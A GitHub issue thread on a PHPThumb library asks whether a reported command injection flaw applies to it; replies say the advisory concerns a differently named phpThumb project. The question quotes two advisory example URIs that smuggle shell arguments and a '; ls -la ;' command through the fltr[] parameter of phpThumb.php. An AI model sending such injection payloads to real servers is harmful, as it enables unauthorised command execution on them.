Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Command Injection Vulnerability? #130

Open
dliebner opened this issue Sep 2, 2016 · 2 comments
Open

Command Injection Vulnerability? #130

dliebner opened this issue Sep 2, 2016 · 2 comments

Comments

@dliebner
Copy link

dliebner commented Sep 2, 2016

When googling for "PHPThumb", one of the suggested searches is "PHPThumb exploit". One of the results links to this:

http://www.securityfocus.com/bid/39605/exploit

Attackers can exploit this issue via a browser. Reports indicate that this issue is being exploited in the wild.

The following example URIs are available:

http://www.example.com/phpThumb_1.7.9/phpThumb.php?src=Z:/home/example.com/www/kartinka.jpg&fltr[]=blur|5 -quality 75 -interlace line "Z:/home/example.com/www/kartinka.jpg" jpeg:"Z:/home/example.com

http://www.example.com/phpThumb_1.7.9/phpThumb.php?src=/home/example.com/public_html/kartinka.jpg&fltr[]=blur|5 -quality 75 -interlace line "/home/example.com/public_html/kartinka.jpg" jpeg:"/home/example.com/public_html/kartinka.jpg" ; ls -la ;&phpThumbDebug=9

Is this is an actual issue?

@bacinsky
Copy link

Hi, PHPThumb is a library, it does not implements the image serving so it is pure to the user how will use it. But this library seems abandoned, I recommend you to use avalanche123/Imagine instead.

@pmaselkowski
Copy link

@dliebner The security exploit You linked to is not related to this particular library - it's just a popular name for thumbnailing libraries.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants